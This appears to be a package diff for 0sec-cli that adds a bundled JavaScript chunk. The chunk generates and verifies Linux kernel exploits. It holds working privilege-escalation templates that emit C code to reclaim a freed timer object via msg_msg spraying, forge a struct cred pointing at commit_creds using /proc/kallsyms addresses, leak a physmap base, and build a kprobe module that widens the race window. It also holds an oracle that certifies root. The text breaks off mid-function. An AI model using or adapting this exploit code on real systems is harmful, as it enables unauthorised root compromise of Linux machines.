0sec-cli 0.15.0 → 0.18.0

package/chunks/chunk-BATRQBOR.js

@@ -0,0 +1,1732 @@
+#!/usr/bin/env node
+import { createRequire as __0secCreateRequire } from "node:module";
+const require = __0secCreateRequire(import.meta.url);
+import {
+  runReproducerInKernelVm
+} from "./chunk-3KPWWJCI.js";
+import {
+  ESCALATION_LADDER,
+  ladderUpTo,
+  ratchet,
+  rungAtLeast,
+  rungRank
+} from "./chunk-RJWOYEOG.js";
+
+// packages/core/dist/kernel/exploit/harness.js
+import { existsSync } from "node:fs";
+import { randomBytes } from "node:crypto";
+
+// packages/core/dist/kernel/exploit/oracle.js
+var RUNG_MARKER_TAG = {
+  attempted: "ATTEMPTED",
+  triggered: "TRIGGERED",
+  reclaim: "RECLAIM",
+  "arb-read": "ARB-READ",
+  "arb-write": "ARB-WRITE",
+  root: "ROOT"
+};
+var ROOT_UID_WITNESS = /\b(uid|euid)=0\b/;
+var KASAN_WRITE_SITE = /Write of size|Memory state around|BUG: KASAN:.*\bWrite\b/i;
+var TRIGGER_FAULT = /BUG: KASAN:|Unable to handle kernel paging request|Oops:|BUG: unable to handle/i;
+var REAL_SYSCALL_ENTRY = /__(?:x64|arm64)_sys_[a-z0-9_]+|entry_SYSCALL_64|el0_svc|invoke_syscall/i;
+var FORCED_FAULT = /fault[-_ ]?inject|fail_function|LKDTM|sysrq|debugfs.*fail/i;
+var MODULE_FAULT = /\b(?:Comm:\s*)?(?:insmod|modprobe)\b/i;
+function triggerWitnessed(dmesg) {
+  if (!dmesg)
+    return false;
+  return TRIGGER_FAULT.test(dmesg) && REAL_SYSCALL_ENTRY.test(dmesg) && !FORCED_FAULT.test(dmesg) && !MODULE_FAULT.test(dmesg);
+}
+var RECLAIM_ALIAS_SUFFIX = ":RECLAIM-ALIAS";
+function reclaimAliasToken(canary) {
+  const MASK = 0xffffffffffffffffn;
+  let h = 0xcbf29ce484222325n;
+  const data = `${canary}${RECLAIM_ALIAS_SUFFIX}`;
+  for (let i = 0; i < data.length; i++) {
+    h ^= BigInt(data.charCodeAt(i) & 255);
+    h = h * 0x100000001b3n & MASK;
+  }
+  return h.toString(16).padStart(16, "0");
+}
+function reclaimSprayLine(canary, token) {
+  return `0SEC-CANARY:${canary}:RECLAIM-SPRAY:${token}`;
+}
+function reclaimAliasLine(canary, observed) {
+  return `0SEC-CANARY:${canary}:RECLAIM-ALIAS:${observed}`;
+}
+function reclaimAliasWitnessed(haystack, canary) {
+  if (!canary)
+    return false;
+  const token = reclaimAliasToken(canary);
+  return haystack.includes(reclaimSprayLine(canary, token)) && haystack.includes(reclaimAliasLine(canary, token));
+}
+function markerLine(rung, canary) {
+  return `0SEC-CANARY:${canary}:${RUNG_MARKER_TAG[rung]}`;
+}
+function markerFired(haystack, rung, canary) {
+  if (!canary)
+    return false;
+  return haystack.includes(markerLine(rung, canary));
+}
+function reclaimSprayId(haystack, canary) {
+  if (!canary)
+    return void 0;
+  const prefix = `${markerLine("reclaim", canary)}:`;
+  const idx = haystack.indexOf(prefix);
+  if (idx < 0)
+    return void 0;
+  const rest = haystack.slice(idx + prefix.length);
+  const end = rest.search(/[\r\n]/);
+  const id = (end < 0 ? rest : rest.slice(0, end)).trim();
+  return id || void 0;
+}
+function reclaimWitnessed(dmesg, canary, haystack) {
+  if (!dmesg)
+    return false;
+  const sprayId = reclaimSprayId(haystack, canary);
+  if (!sprayId)
+    return false;
+  if (!KASAN_WRITE_SITE.test(dmesg))
+    return false;
+  return dmesg.includes(sprayId);
+}
+function droppedBeforeRoot(haystack, canary) {
+  const rootWitness = haystack.search(ROOT_UID_WITNESS);
+  if (rootWitness < 0)
+    return false;
+  const dropPrefix = `0SEC-CANARY:${canary}:DROP:`;
+  let from = 0;
+  for (; ; ) {
+    const idx = haystack.indexOf(dropPrefix, from);
+    if (idx < 0)
+      return false;
+    if (idx >= rootWitness)
+      return false;
+    const rest = haystack.slice(idx + dropPrefix.length);
+    const end = rest.search(/[\r\n]/);
+    const detail = end < 0 ? rest : rest.slice(0, end);
+    const m = detail.match(/uid=(\d+)/);
+    if (m && m[1] !== "0" && Number(m[1]) !== 0)
+      return true;
+    from = idx + dropPrefix.length;
+  }
+}
+function adjudicate(input) {
+  const haystack = `${input.output}
+${input.dmesg ?? ""}`;
+  const attemptedRank = rungRank(input.attemptedRung);
+  const cacheKey = input.cacheKey;
+  const reclaimWitness = input.reclaimWitness ?? "kasan-write-site";
+  if (input.expectedCacheKey && cacheKey && input.expectedCacheKey !== cacheKey) {
+    return {
+      rung: "none",
+      confirmed: false,
+      evidence: "",
+      cacheKey,
+      reason: `kernel-image mismatch: proof booted on '${cacheKey}' but expected '${input.expectedCacheKey}' \u2014 proof rejected (wrong-kernel binding)`
+    };
+  }
+  const firedLines = [];
+  let proven = "none";
+  for (const rung of ESCALATION_LADDER) {
+    if (rung === "none")
+      continue;
+    if (rungRank(rung) > attemptedRank)
+      break;
+    if (!markerFired(haystack, rung, input.canary))
+      continue;
+    if (rung === "triggered" && !triggerWitnessed(input.dmesg)) {
+      continue;
+    }
+    if (rungRank(rung) > rungRank("triggered") && rungRank(proven) < rungRank("triggered")) {
+      continue;
+    }
+    if (rung === "reclaim") {
+      const witnessed = reclaimWitness === "nokasan-aliasing" ? reclaimAliasWitnessed(haystack, input.canary) : reclaimWitnessed(input.dmesg, input.canary, haystack);
+      if (!witnessed) {
+        continue;
+      }
+    }
+    if (rung === "root" && (!ROOT_UID_WITNESS.test(haystack) || !droppedBeforeRoot(haystack, input.canary))) {
+      continue;
+    }
+    proven = rung;
+    firedLines.push(markerLine(rung, input.canary));
+  }
+  const confirmed = rungRank(proven) >= attemptedRank && attemptedRank > 0;
+  const evidence = firedLines.join("\n");
+  if (confirmed) {
+    return {
+      rung: proven,
+      confirmed: true,
+      evidence,
+      cacheKey,
+      reason: `deterministic marker confirmed rung '${proven}' for canary ${input.canary}`
+    };
+  }
+  if (proven !== "none") {
+    return {
+      rung: proven,
+      confirmed: false,
+      evidence,
+      cacheKey,
+      reason: `attempted '${input.attemptedRung}' but only proved '${proven}' (strongest canary-bound marker observed)`
+    };
+  }
+  const rootMarker = input.attemptedRung === "root" && haystack.includes(markerLine("root", input.canary));
+  const rootNoUid = rootMarker && !ROOT_UID_WITNESS.test(haystack);
+  const rootFromRoot = rootMarker && ROOT_UID_WITNESS.test(haystack) && !droppedBeforeRoot(haystack, input.canary);
+  const reclaimAliasMiss = input.attemptedRung === "reclaim" && reclaimWitness === "nokasan-aliasing" && markerFired(haystack, "reclaim", input.canary) && !reclaimAliasWitnessed(haystack, input.canary);
+  return {
+    rung: "none",
+    confirmed: false,
+    evidence: "",
+    cacheKey,
+    reason: rootNoUid ? "ROOT marker fired but no uid=0/euid=0 witness \u2014 not credited as root" : rootFromRoot ? "ROOT marker + uid=0 witness but no preceding uid drop (root-from-root) \u2014 not credited as root" : reclaimAliasMiss ? "RECLAIM marker fired but the canary-derived spray token was not read back through the dangling pointer (aliasing not witnessed) \u2014 not credited as reclaim" : `no canary-bound marker for rung '${input.attemptedRung}' in output`
+  };
+}
+
+// packages/core/dist/kernel/exploit/introspect.js
+import { execFileSync } from "node:child_process";
+var defaultCommandRunner = (file, args) => execFileSync(file, args, {
+  encoding: "utf8",
+  stdio: ["ignore", "pipe", "ignore"],
+  maxBuffer: 64 * 1024 * 1024
+});
+var EXPLOIT_CONFIG_GATES = [
+  "STATIC_USERMODEHELPER",
+  "SLAB_BUCKETS",
+  "MEMCG",
+  "RANDOM_KMALLOC_CACHES",
+  "RANDOMIZE_BASE",
+  "SLAB_FREELIST_RANDOM",
+  "SLAB_FREELIST_HARDENED",
+  "HARDENED_USERCOPY",
+  "USERFAULTFD",
+  "FUSE_FS",
+  "INIT_ON_ALLOC_DEFAULT_ON"
+];
+function introspectExploitConfig(configText) {
+  const enabled = /* @__PURE__ */ new Set();
+  for (const line of (configText ?? "").split("\n")) {
+    const trimmed = line.trim();
+    if (trimmed.startsWith("#") || trimmed === "")
+      continue;
+    const match = trimmed.match(/^(CONFIG_\w+)=(y|m)\b/);
+    if (match)
+      enabled.add(match[1]);
+  }
+  const has = (gate) => enabled.has(`CONFIG_${gate}`);
+  const cfg = {};
+  for (const gate of EXPLOIT_CONFIG_GATES)
+    cfg[gate] = has(gate);
+  return cfg;
+}
+function parsePcToken(faultingPc) {
+  const m = (faultingPc ?? "").match(/^([A-Za-z_][\w.$]*)\+0x([0-9a-fA-F]+)(?:\/0x([0-9a-fA-F]+))?/);
+  if (!m)
+    return void 0;
+  return {
+    symbol: m[1],
+    offset: parseInt(m[2], 16),
+    ...m[3] ? { size: parseInt(m[3], 16) } : {}
+  };
+}
+var ARG_REG_ROLE = {
+  rdi: "dst",
+  edi: "dst",
+  rsi: "src",
+  esi: "src",
+  rdx: "len",
+  edx: "len"
+};
+function disassembleAround(vmlinuxPath, faultingPc, runner = defaultCommandRunner, opts = {}) {
+  if (!vmlinuxPath || !faultingPc) {
+    return { rawDisasm: "", note: "no vmlinux / faulting PC" };
+  }
+  const pc = parsePcToken(faultingPc);
+  if (!pc) {
+    return { rawDisasm: "", note: `unparseable faulting PC '${faultingPc}'` };
+  }
+  const before = opts.before ?? 64;
+  const after = opts.after ?? Math.max(pc.size ?? 0, 128);
+  let raw = "";
+  try {
+    raw = runner("objdump", [
+      "-d",
+      "--no-show-raw-insn",
+      `--disassemble=${pc.symbol}`,
+      vmlinuxPath
+    ]);
+  } catch {
+    try {
+      raw = runner("objdump", ["-d", "--no-show-raw-insn", vmlinuxPath]);
+    } catch {
+      return { rawDisasm: "", note: "objdump failed (tool/vmlinux absent)" };
+    }
+  }
+  return parseDisasmWindow(raw, pc.symbol, pc.offset, before, after);
+}
+function parseDisasmWindow(rawDisasm, symbol, pcOffset, before, after) {
+  const lines = rawDisasm.split("\n");
+  let funcStart;
+  const labelRe = new RegExp(`^([0-9a-fA-F]+)\\s+<${escapeRe(symbol)}>:`);
+  for (const line of lines) {
+    const m = line.match(labelRe);
+    if (m) {
+      funcStart = BigInt(`0x${m[1]}`);
+      break;
+    }
+  }
+  if (funcStart === void 0) {
+    return {
+      rawDisasm,
+      note: `symbol '${symbol}' not found in disassembly`
+    };
+  }
+  const lo = BigInt(pcOffset - before);
+  const hi = BigInt(pcOffset + after);
+  const insnRe = /^\s*([0-9a-fA-F]+):\s+(.*)$/;
+  const movRe = /\bmov[a-z]*\s+(?:0x([0-9a-fA-F]+))?\(%r[a-z0-9]+\),%(\w+)\b/;
+  const roleOffset = {};
+  for (const line of lines) {
+    const im = line.match(insnRe);
+    if (!im)
+      continue;
+    let addr;
+    try {
+      addr = BigInt(`0x${im[1]}`);
+    } catch {
+      continue;
+    }
+    const inFuncOff = addr - funcStart;
+    if (inFuncOff < lo || inFuncOff > hi)
+      continue;
+    const mm = im[2].match(movRe);
+    if (!mm)
+      continue;
+    const role = ARG_REG_ROLE[mm[2]];
+    if (!role)
+      continue;
+    const disp = mm[1] ? parseInt(mm[1], 16) : 0;
+    if (roleOffset[role] === void 0)
+      roleOffset[role] = disp;
+  }
+  const dstOffset = roleOffset.dst;
+  const lenOffset = roleOffset.len;
+  const srcOffset = roleOffset.src;
+  const parts = [];
+  if (dstOffset !== void 0)
+    parts.push(`dst<-0x${dstOffset.toString(16)}`);
+  if (srcOffset !== void 0)
+    parts.push(`src<-0x${srcOffset.toString(16)}`);
+  if (lenOffset !== void 0)
+    parts.push(`len<-0x${lenOffset.toString(16)}`);
+  return {
+    rawDisasm,
+    ...dstOffset !== void 0 ? { dstOffset } : {},
+    ...lenOffset !== void 0 ? { lenOffset } : {},
+    ...srcOffset !== void 0 ? { srcOffset } : {},
+    note: parts.length > 0 ? `memcpy operands from freed object: ${parts.join(", ")}` : `no memcpy-arg field loads found near ${symbol}+0x${pcOffset.toString(16)}`
+  };
+}
+function resolveSymbol(vmlinuxPath, symbol, runner = defaultCommandRunner) {
+  if (!vmlinuxPath || !symbol)
+    return void 0;
+  let raw = "";
+  try {
+    raw = runner("nm", [vmlinuxPath]);
+  } catch {
+    return void 0;
+  }
+  const re = new RegExp(`^([0-9a-fA-F]+)\\s+[A-Za-z]\\s+${escapeRe(symbol)}$`, "m");
+  const m = raw.match(re);
+  if (!m)
+    return void 0;
+  try {
+    return BigInt(`0x${m[1]}`);
+  } catch {
+    return void 0;
+  }
+}
+function structLayout(vmlinuxPath, structName, runner = defaultCommandRunner) {
+  if (!vmlinuxPath || !structName)
+    return {};
+  let raw = "";
+  try {
+    raw = runner("pahole", ["-C", structName, vmlinuxPath]);
+  } catch {
+    return {};
+  }
+  return parsePahole(raw);
+}
+function parsePahole(raw) {
+  const layout = {};
+  const memberRe = /^\s+.*?\b([A-Za-z_]\w*)\s*(?:\[[^\]]*\])?\s*;\s*\/\*\s*(\d+)\s+\d+\s*\*\//;
+  for (const line of (raw ?? "").split("\n")) {
+    const m = line.match(memberRe);
+    if (!m)
+      continue;
+    const field = m[1];
+    const off = parseInt(m[2], 10);
+    if (Number.isFinite(off) && !(field in layout))
+      layout[field] = off;
+  }
+  return layout;
+}
+function escapeRe(s) {
+  return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
+}
+
+// packages/core/dist/kernel/exploit/templates-fakecred.js
+var FAKECRED_DROP_UID = 65534;
+var MSG_HDR = 48;
+var TIMER_FUNCTION_IN_TIMER = 24;
+function slabBytes(hint) {
+  const m = (hint ?? "").match(/kmalloc-(?:cg-)?(\d+)/);
+  return m ? parseInt(m[1], 10) : 512;
+}
+function emitFakeCredHelpers(params) {
+  const rootTag = RUNG_MARKER_TAG.root;
+  const chunk = slabBytes(params.slabCache);
+  const funcOff = params.funcPtrOffset ?? 368;
+  const credBase = funcOff - TIMER_FUNCTION_IN_TIMER;
+  const bodyLen = chunk - MSG_HDR;
+  const out = [];
+  out.push("/* \u2500\u2500 Fake-cred one-shot helpers (timer/ops UAF \u2192 root) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500", "   The reclaimed object IS a forged struct cred; its embedded timer_list", `   .function (object offset 0x${funcOff.toString(16)}) becomes commit_creds and rdi=&obj,`, "   so the post-free call_timer_fn runs commit_creds(&obj). Only .function is", "   injected; entry.next/pprev/expires are zeroed (detach-safe). Symbols come", "   from /proc/kallsyms at runtime (kptr_restrict=0) \u2014 under KASLR that IS the", "   companion text leak; if unresolved the escalation refuses to fire. */", `#define FC_CHUNK      ${chunk}`, "#define FC_MSG_HDR    48", `#define FC_FUNC_OFF   0x${funcOff.toString(16)}   /* object offset of timer_list.function */`, `#define FC_CRED_BASE  0x${credBase.toString(16)}   /* == timer base (cred aliases timer) */`, `#define FC_BODY_LEN   ${bodyLen}`, `#define FC_DROP_UID   ${FAKECRED_DROP_UID}`, "", "/* Resolved symbol addresses (0 until osec_fakecred_setup succeeds). */", "static unsigned long g_fc_commit_creds = 0;", "static unsigned long g_fc_init_user_ns = 0;", "static unsigned long g_fc_root_user    = 0;", "static unsigned long g_fc_init_ucounts = 0;", "static unsigned long g_fc_init_groups  = 0;", "static volatile int  g_fc_uaf_armed    = 0; /* set once the free is driven */", "", "/* Resolve a kernel symbol from /proc/kallsyms (needs kptr_restrict=0). 0 if", "   not readable / not found \u2014 the honest KASLR-defeat channel for this family. */", "static unsigned long osec_ksym(const char *name) {", '  FILE *f = fopen("/proc/kallsyms", "r");', "  if (!f) return 0;", "  char line[256], sym[128]; unsigned long addr = 0; unsigned long hit = 0;", "  while (fgets(line, sizeof(line), f)) {", '    if (sscanf(line, "%lx %*c %127s", &addr, sym) == 2 &&', "        strcmp(sym, name) == 0) { hit = addr; break; }", "  }", "  fclose(f);", "  return hit;", "}", "", "/* Resolve every symbol the forged cred needs. Returns 0 iff ALL resolved. */", "static int osec_fakecred_setup(void) {", '  g_fc_commit_creds = osec_ksym("commit_creds");', '  g_fc_init_user_ns = osec_ksym("init_user_ns");', '  g_fc_root_user    = osec_ksym("root_user");', '  g_fc_init_ucounts = osec_ksym("init_ucounts");', '  g_fc_init_groups  = osec_ksym("init_groups");', "  if (!g_fc_commit_creds) return -1; /* HONEST GAP: no text leak \u2192 cannot aim .function */", "  return 0;", "}", "", "/* Forge the reclaiming msg_msg body: inject ONLY timer_list.function =", "   commit_creds; zero entry.next/pprev/expires; lay a forged cred in the slack", "   (caps=~0 + real init_* sub-pointers). Object offset o -> body[o - 48]. */", "static void osec_fakecred_build(unsigned char *body) {", "  memset(body, 0, FC_BODY_LEN);", "#define FC_PUT64(objoff, val) do { \\", "    long _bo = (long)(objoff) - FC_MSG_HDR; \\", "    if (_bo >= 0 && _bo + 8 <= FC_BODY_LEN) { \\", "      unsigned long _v = (unsigned long)(val); \\", "      memcpy(&body[_bo], &_v, 8); } \\", "  } while (0)", "  /* timer_list: only .function is attacker-injected; the rest stay 0. */", "  FC_PUT64(FC_CRED_BASE + 0x00, 0UL);              /* entry.next  (== cred.usage placeholder) */", "  FC_PUT64(FC_CRED_BASE + 0x08, 0UL);              /* entry.pprev (detach zeroes -> cred.uid/gid=0) */", "  FC_PUT64(FC_CRED_BASE + 0x10, 0UL);              /* expires */", "  FC_PUT64(FC_FUNC_OFF,         g_fc_commit_creds);/* .function == commit_creds (== cred.euid/egid) */", "  FC_PUT64(FC_FUNC_OFF + 0x08,  0UL);              /* flags (== cred.fsuid/fsgid) */", "  /* forged cred caps in the fully-controlled slack. */", "  FC_PUT64(FC_CRED_BASE + 0x38, 0xffffffffffffffffUL); /* cap_permitted */", "  FC_PUT64(FC_CRED_BASE + 0x40, 0xffffffffffffffffUL); /* cap_effective (CAP_SETUID) */", "  FC_PUT64(FC_CRED_BASE + 0x48, 0xffffffffffffffffUL); /* cap_bset */", "  /* real init_* sub-pointers so later cred operations do not fault. */", "  FC_PUT64(FC_CRED_BASE + 0x88, g_fc_root_user);", "  FC_PUT64(FC_CRED_BASE + 0x90, g_fc_init_user_ns);", "  FC_PUT64(FC_CRED_BASE + 0x98, g_fc_init_ucounts);", "  FC_PUT64(FC_CRED_BASE + 0xa0, g_fc_init_groups);", "#undef FC_PUT64", "}", "", "/* Same-cache spray: msgsnd the forged body so it reclaims the freed chunk in", "   the victim kmalloc bucket. Persists until msgrcv (stable reclaim). */", "#define FC_NQUEUE 64", "#define FC_PERQ   24", "static int g_fc_qids[FC_NQUEUE];", "static int osec_fakecred_spray(void) {", "  struct { long mtype; unsigned char text[FC_BODY_LEN]; } mb;", "  mb.mtype = 1;", "  osec_fakecred_build(mb.text);", "  int n = 0;", "  for (int i = 0; i < FC_NQUEUE; i++) {", "    g_fc_qids[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);", "    if (g_fc_qids[i] < 0) continue;", "    for (int j = 0; j < FC_PERQ; j++) {", "      if (msgsnd(g_fc_qids[i], &mb, FC_BODY_LEN, IPC_NOWAIT) == 0) n++;", "      else break;", "    }", "  }", "  return n;", "}", "", "/* The unprivileged victim child. Drops to nobody, blocks until the UAF is", "   armed, then busy-spins IN USERSPACE so the timer softirq fires in ITS", "   context; when commit_creds(&obj) lands, getuid()==0 -> normalize + ROOT. */", "static void osec_fakecred_child(int sig_rfd) {", "  osec_pin_cpu(0);", "  if (setgroups(0, NULL) != 0) { /* best-effort */ }", "  setresgid(FC_DROP_UID, FC_DROP_UID, FC_DROP_UID);", "  setresuid(FC_DROP_UID, FC_DROP_UID, FC_DROP_UID);", "  if (getuid() != FC_DROP_UID) {", "    /* HONEST GAP: could not drop uid \u2014 do not spin a fake escalation. */", "    _exit(1);", "  }", "  char c; if (read(sig_rfd, &c, 1) < 0) { /* wake on UAF-armed */ }", "  for (int i = 0; i < 25 * 2000; i++) {", "    volatile unsigned long spin = 0;", "    for (volatile int k = 0; k < 200000; k++) spin++;", "    if (getuid() == 0) {", "      /* CAP_SETUID from the forged cap_effective normalizes euid/fsuid. */", "      setresuid(0, 0, 0); setresgid(0, 0, 0); setgroups(0, NULL);", "      char idbuf[64]; snprintf(idbuf, sizeof(idbuf),", '        "uid=%d euid=%d (commit_creds landed)", getuid(), geteuid());', `      osec_marker("${rootTag}", idbuf); /* evidence-bound: real uid==0 */`, "      _exit(0);", "    }", "  }", "  _exit(1); /* timed out: reclaim/context miss \u2014 no marker (honest) */", "}");
+  if (params.modeLeak) {
+    out.push("", "/* MODE_LEAK (optional physmap infoleak). After the timer is re-armed, the", "   reclaimed object's entry.pprev == &base->vectors[idx].first (a physmap", "   pointer). msgrcv the object and recover page_offset_base \u2014 defeats", "   RANDOMIZE_MEMORY. NOTE: this leaks NO kernel .text, so hardened/KASLR-ON", "   root still needs a PAIRED kernel-text infoleak (see the tail honesty flag). */", "static unsigned long osec_fakecred_leak(void) {", "  struct { long mtype; unsigned char text[FC_BODY_LEN]; } rb;", "  for (int i = 0; i < FC_NQUEUE; i++) {", "    if (g_fc_qids[i] <= 0) continue;", "    ssize_t r = msgrcv(g_fc_qids[i], &rb, FC_BODY_LEN, 1, IPC_NOWAIT | MSG_NOERROR);", "    if (r < (ssize_t)(FC_CRED_BASE + 0x10 - FC_MSG_HDR)) continue;", "    unsigned long pprev = 0;", "    memcpy(&pprev, &rb.text[FC_CRED_BASE + 0x08 - FC_MSG_HDR], 8);", "    if (pprev > 0xffff000000000000UL) {", "      unsigned long phys_base = pprev & ~0x3fffffffUL; /* coarse physmap base */", '      char kb[64]; snprintf(kb, sizeof(kb), "page_offset_base~=0x%lx", phys_base);', '      osec_marker("ARB-READ", kb); /* physmap leak (NOT text) */', "      return phys_base;", "    }", "  }", "  return 0; /* HONEST GAP: no physmap pointer recovered this run */", "}");
+  }
+  return out;
+}
+function emitFakeCredDriver(params) {
+  const out = [
+    "  /* \u2500\u2500 Fake-cred one-shot driver \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500",
+    "     Fork the unprivileged victim, resolve commit_creds + init_* via",
+    "     kallsyms, then reclaim the freed timer object with the forged cred and",
+    "     let the re-armed timer fire commit_creds(&obj) in the child. */",
+    "  if (osec_fakecred_setup() != 0) {",
+    "    /* HONEST GAP: commit_creds unresolved (kptr_restrict on / no text leak)",
+    "       \u2014 cannot aim .function; the chain stops short of root. */",
+    "  } else {",
+    "    int fc_pipe[2];",
+    "    if (pipe(fc_pipe) == 0) {",
+    "      pid_t fc_child = fork();",
+    "      if (fc_child == 0) { close(fc_pipe[1]); osec_fakecred_child(fc_pipe[0]); _exit(0); }",
+    "      close(fc_pipe[0]);",
+    "      /* Drive the bug-specific FREE of the timer-owning object, then reclaim",
+    "         it BEFORE the kernel re-arms the timer (mod_timer on the freed sc). */",
+    "      osec_timer_uaf_free();       /* bug layer's teardown (unbind/close/...) */",
+    "      int sprayed = osec_fakecred_spray();",
+    "      (void)sprayed;",
+    "      g_fc_uaf_armed = 1;",
+    "      { char c = '!'; if (write(fc_pipe[1], &c, 1) < 0) { /* wake child */ } }"
+  ];
+  if (params.modeLeak) {
+    out.push("      /* Optional: recover page_offset_base from the re-armed object. */", "      (void)osec_fakecred_leak();");
+  }
+  out.push("      /* The parent goes idle so the child owns the CPU when the timer fires. */", "      int fc_status = 0;", "      waitpid(fc_child, &fc_status, 0);", "    }", "  }");
+  return out;
+}
+function emitTimerUafFreeHook() {
+  return [
+    "/* Bug-specific free of the timer-owning object. The generic family cannot",
+    "   drive an arbitrary driver's teardown; the owning trigger layer overrides",
+    "   this (weak) default with the real free (unbind/close/disconnect). With the",
+    "   no-op default there is no real UAF, so the child never escalates and no",
+    "   ROOT marker is printed \u2014 honest. */",
+    "__attribute__((weak)) void osec_timer_uaf_free(void) {",
+    "  /* no-op: overridden by the bug-specific trigger */",
+    "}"
+  ];
+}
+
+// packages/core/dist/kernel/exploit/trigger-geometry.js
+var DEFAULT_WIDEN_OFFSET = 75;
+var DEFAULT_RACE_FLOOD_THREADS = 2;
+var DEFAULT_RACE_SPRAY_THREADS = 8;
+var DEFAULT_RACE_PARK_US = 120;
+var DEFAULT_RACE_SECONDS = 8;
+function detectTriggerFamily(faultingPc) {
+  const sym = parsePcToken(faultingPc ?? "")?.symbol ?? "";
+  if (/^snd_rawmidi_kernel_write1$/.test(sym) || /^snd_rawmidi_/.test(sym) || /^snd_seq_/.test(sym) || /^event_process_midi$/.test(sym) || /^midisynth_/.test(sym)) {
+    return "alsa-seq-rawmidi";
+  }
+  if (/^call_timer_fn$/.test(sym) || /^run_timer_softirq$/.test(sym) || /^__run_timers?$/.test(sym) || /^__run_timer_base$/.test(sym) || /^expire_timers$/.test(sym) || /^__hrtimer_run_queues$/.test(sym) || /^__run_hrtimer$/.test(sym) || /^hrtimer_interrupt$/.test(sym) || /(?:_timer_fn|_timeout|_callback|_cb)$/.test(sym)) {
+    return "timer-list-uaf";
+  }
+  return void 0;
+}
+function emitTimerUafTrigger(params) {
+  const fcParams = {
+    canary: params.canary ?? "",
+    ...params.slabCache ? { slabCache: params.slabCache } : {},
+    ...params.writeProfile?.funcPtrOffset !== void 0 ? { funcPtrOffset: params.writeProfile.funcPtrOffset } : {},
+    ...params.modeLeak ? { modeLeak: true } : {},
+    ...params.hardenedNeedsTextLeak ? { hardenedNeedsTextLeak: true } : {}
+  };
+  return [
+    "/* \u2500\u2500 Bug-specific trigger geometry: timer-list UAF (fake-cred one-shot) \u2500\u2500",
+    "   free -> same-cache spray of a forged cred -> the kernel re-arms the timer",
+    "   (mod_timer) on the reclaimed object, injecting ONLY .function=commit_creds;",
+    "   the timer softirq fires commit_creds(&obj) in a busy-spinning unprivileged",
+    "   child -> root. Reference: 0sec hid-sony ghl_poke_timer UAF (9/9 root). */",
+    ...emitTimerUafFreeHook(),
+    "",
+    ...emitFakeCredHelpers(fcParams)
+  ];
+}
+function emitTimerUafDriver(params) {
+  const fcParams = {
+    canary: params.canary ?? "",
+    ...params.slabCache ? { slabCache: params.slabCache } : {},
+    ...params.writeProfile?.funcPtrOffset !== void 0 ? { funcPtrOffset: params.writeProfile.funcPtrOffset } : {},
+    ...params.modeLeak ? { modeLeak: true } : {}
+  };
+  return emitFakeCredDriver(fcParams);
+}
+function emitKprobeWidener(faultingPc, widenOffset) {
+  const sym = parsePcToken(faultingPc ?? "")?.symbol ?? "snd_rawmidi_kernel_write1";
+  const def = widenOffset ?? DEFAULT_WIDEN_OFFSET;
+  const defHex = `0x${def.toString(16)}`;
+  return [
+    "/* \u2500\u2500 Race-window widener: kprobe mdelay() at the write site \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500",
+    "   Best-effort + FAIL-SOFT. Plants an mdelay() just before the dangling",
+    `   memcpy in ${sym} so the parked writer holds the freed object across the`,
+    "   reclaim window far more often. TWO things are CONFIGURABLE at runtime so",
+    "   the rig can dial in the coincidence rate WITHOUT re-emitting:",
+    "     0SEC_KERNEL_QEMU_WIDEN_OFFSET \u2014 the probe instruction offset,",
+    `       else the compile-time default ${defHex};`,
+    `     0SEC_RACE_PARK_US \u2014 the mdelay() park width (the manual proof parked`,
+    `       the writer ~${DEFAULT_RACE_PARK_US}ms), else default ${DEFAULT_RACE_PARK_US}.`,
+    "   If the target lacks kernel headers / module-build / insmod rights this is",
+    "   skipped and the race runs narrower \u2014 NO marker is printed for the widener;",
+    "   only the witnessed reclaim + ordered drop\u2192root the oracle keys on credit",
+    "   the climb. The mdelay arg is spliced into the LKM source at runtime (the",
+    "   LKM is kernel code and cannot getenv), exactly like the offset. */",
+    `#define OSEC_WIDEN_OFFSET_DEFAULT ${defHex}`,
+    `#define OSEC_RACE_PARK_US_DEFAULT ${DEFAULT_RACE_PARK_US}`,
+    "static int osec_install_kprobe_widener(void) {",
+    "  /* Resolve the probe offset: env override wins, else the compiled default,",
+    "     so the VM runner can correct a stale instruction boundary at run time. */",
+    "  unsigned long woff = OSEC_WIDEN_OFFSET_DEFAULT;",
+    '  const char *wenv = getenv("0SEC_KERNEL_QEMU_WIDEN_OFFSET");',
+    "  if (wenv && wenv[0]) {",
+    "    char *end = NULL;",
+    "    unsigned long v = strtoul(wenv, &end, 0);",
+    "    if (end && end != wenv) woff = v;",
+    "  }",
+    "  /* Resolve the park width (mdelay arg): 0SEC_RACE_PARK_US wins, else the",
+    "     compiled default. This is THE knob that holds the freed object during",
+    "     the reclaim \u2014 wider park trades throughput for free-during-park rate. */",
+    "  unsigned long park = OSEC_RACE_PARK_US_DEFAULT;",
+    '  const char *penv = getenv("0SEC_RACE_PARK_US");',
+    "  if (penv && penv[0]) {",
+    "    char *pend = NULL;",
+    "    unsigned long pv = strtoul(penv, &pend, 0);",
+    "    if (pend && pend != penv) park = pv;",
+    "  }",
+    "  /* Write a minimal kprobe LKM source that mdelays at the resolved offset",
+    "     for the resolved park width. */",
+    "  char ksrc[832];",
+    "  snprintf(ksrc, sizeof(ksrc),",
+    '    "#include <linux/module.h>\\n"',
+    '    "#include <linux/kprobes.h>\\n"',
+    '    "#include <linux/delay.h>\\n"',
+    `    "static struct kprobe kp = { .symbol_name = \\"${sym}\\", .offset = 0x%lx };\\n"`,
+    '    "static int h(struct kprobe *p, struct pt_regs *r){ mdelay(%lu); return 0; }\\n"',
+    '    "static int __init i(void){ kp.pre_handler=h; return register_kprobe(&kp); }\\n"',
+    '    "static void __exit e(void){ unregister_kprobe(&kp); }\\n"',
+    '    "module_init(i); module_exit(e); MODULE_LICENSE(\\"GPL\\");\\n",',
+    "    woff, park);",
+    '  FILE *f = fopen("/tmp/osec_widen.c", "w");',
+    "  if (!f) return -1;",
